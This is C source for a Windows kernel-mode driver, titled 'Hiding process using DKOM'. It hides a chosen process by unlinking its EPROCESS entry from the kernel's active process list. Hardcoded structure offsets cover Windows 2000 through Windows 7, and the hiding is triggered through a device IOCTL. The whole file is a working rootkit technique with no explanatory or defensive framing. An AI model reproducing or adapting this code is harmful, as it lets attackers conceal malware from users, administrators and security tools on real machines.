Hiding process using DKOM

#include <ntifs.h>

typedef unsigned long      DWORD;
typedef unsigned char      BYTE;
typedef unsigned short int WORD;


typedef struct _LDR_DATA_TABLE_ENTRY {
  LIST_ENTRY    InLoadOrderLinks;
  LIST_ENTRY    InMemoryOrderLinks;
  LIST_ENTRY    InInitializationOrderLinks;
  PVOID      DllBase;
  PVOID      EntryPoint;
  ULONG      SizeOfImage;
  UNICODE_STRING  FullDllName;
  UNICODE_STRING  BaseDllName;
  ULONG      Flags;
  WORD       LoadCount;
  WORD       TlsIndex;

  union{
     LIST_ENTRY HashLinks;
     struct{
        PVOID SectionPointer;
        ULONG CheckSum;
     };
  };

  union{
     ULONG TimeDataStamp;
     PVOID LoadedImports;
  };

  //_ACTIVATION_CONTEXT * EntryPointActivationContext;
  PVOID PatchInformation;
  LIST_ENTRY ForwarderLinks;
  LIST_ENTRY ServiceTagLinks;
  LIST_ENTRY StaticLinks;
} LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;


#define DriverName L"\\Device\\HideProcess"
#define DosDeviceName L"\\DosDevices\\HideProcess"


NTSTATUS HideProcessByDKOM(IN DWORD dwTargetPID);


NTSTATUS CreateDriver(PDEVICE_OBJECT pDeviceObject, PIRP pIrp)
{
    return STATUS_SUCCESS;
}

NTSTATUS CloseDriver(PDEVICE_OBJECT pDeviceObject, PIRP pIrp)
{
    return STATUS_SUCCESS;
}

void UnloadDriver(PDRIVER_OBJECT pDriverObject)
{
    UNICODE_STRING uDosDeviceName;

    RtlInitUnicodeString(&uDosDeviceName, DosDeviceName);

    IoDeleteSymbolicLink(&uDosDeviceName);
    IoDeleteDevice(pDriverObject->DeviceObject);
}

NTSTATUS Unsupported(PDEVICE_OBJECT pDeviceObject, PIRP pIrp)
{
    return STATUS_NOT_SUPPORTED;
}

NTSTATUS IOCTLDispatch(PDEVICE_OBJECT pDeviceObject, PIRP pIrp)
{
    PIO_STACK_LOCATION pIoStack = NULL;
    PVOID pInBuffer = NULL;
    NTSTATUS NtStatus = STATUS_SUCCESS;

    pIoStack = IoGetCurrentIrpStackLocation(pIrp);

    switch (pIoStack->Parameters.DeviceIoControl.IoControlCode)
    {


    case 0x8000000: //Your Control Code
        pInBuffer = pIrp->AssociatedIrp.SystemBuffer;
        if(pInBuffer)
            NtStatus = HideProcessByDKOM(*(DWORD*)pInBuffer);
        goto END;

    default:
        goto END;
    }

END:
    pIrp->IoStatus.Status = STATUS_SUCCESS;
    pIrp->IoStatus.Information = 0;

    IoCompleteRequest(pIrp, IO_NO_INCREMENT);

    return NtStatus;
}

NTSTATUS HideProcessByDKOM(IN DWORD dwTargetPID)
{
    PLIST_ENTRY pPrevList, pCurrentList, pNextList;
    ULONG MajorVersion, MinorVersion, offset = 0x00;
    PEPROCESS pEprocess;
    NTSTATUS NtStatus = STATUS_SUCCESS;

    if(dwTargetPID == 0)
        return STATUS_SUCCESS;

    NtStatus = PsLookupProcessByProcessId((HANDLE)dwTargetPID, &pEprocess);
    if(!NT_SUCCESS(NtStatus))
    {
        return NtStatus;
    }

    //DebugPrint("EPROCESS:0x%08X\n",pEprocess);

    PsGetVersion(&MajorVersion, &MinorVersion, NULL, NULL);
    if(MajorVersion == 5 && MinorVersion == 0) //Windows 2000
        offset = 0xA0;
    else if(MajorVersion == 5 && MinorVersion == 1) //Windows XP
        offset = 0x88;
    else if(MajorVersion == 6 && MinorVersion == 0) //Windows Vista
        offset = 0xA0;
    else if(MajorVersion == 6 && MinorVersion == 1) //Windows 7
        offset = 0xB8;
    else {
        ObDereferenceObject(pEprocess);
        return STATUS_UNSUCCESSFUL;
    }

    if(offset == 0)
        return STATUS_UNSUCCESSFUL;


    //Hiding
    pCurrentList = (PLIST_ENTRY)((PUCHAR)pEprocess + offset);
    pPrevList    = (PLIST_ENTRY)pCurrentList->Blink;
    pNextList    = (PLIST_ENTRY)pCurrentList->Flink;

    pPrevList->Flink = (PLIST_ENTRY)pNextList;
    pNextList->Blink = (PLIST_ENTRY)pPrevList;

    pCurrentList->Flink = (PLIST_ENTRY)pCurrentList;
    pCurrentList->Blink = (PLIST_ENTRY)pCurrentList;


    ObDereferenceObject(pEprocess);

    return STATUS_SUCCESS;
}

NTSTATUS DriverEntry(PDRIVER_OBJECT pDriverObject, PUNICODE_STRING pRegistryPath)
{
    UNICODE_STRING uDriverName, uDosDeviceName;
    PDEVICE_OBJECT pDeviceObject;
    int            iIndex = 0;
    NTSTATUS NtStatus = STATUS_SUCCESS;

    RtlInitUnicodeString(&uDriverName, DriverName);
    RtlInitUnicodeString(&uDosDeviceName, DosDeviceName);

    NtStatus = IoCreateDevice(pDriverObject, 0, &uDriverName, FILE_DEVICE_UNKNOWN, FILE_DEVICE_SECURE_OPEN, FALSE,  &pDeviceObject);
    if(!NT_SUCCESS(NtStatus)){
        if(NtStatus != STATUS_WAIT_1){
            return NtStatus;
        }
    }

    for(iIndex = 0; iIndex < IRP_MJ_MAXIMUM_FUNCTION; iIndex++)
        pDriverObject->MajorFunction[iIndex] = Unsupported;

    pDriverObject->MajorFunction[IRP_MJ_CREATE] = CreateDriver;
    pDriverObject->MajorFunction[IRP_MJ_CLOSE]  = CloseDriver;
    pDriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = IOCTLDispatch;
    pDriverObject->DriverUnload = UnloadDriver;

    pDeviceObject->Flags |= DO_DIRECT_IO;
    pDeviceObject->Flags &= (~DO_DEVICE_INITIALIZING);

    return STATUS_SUCCESS;
}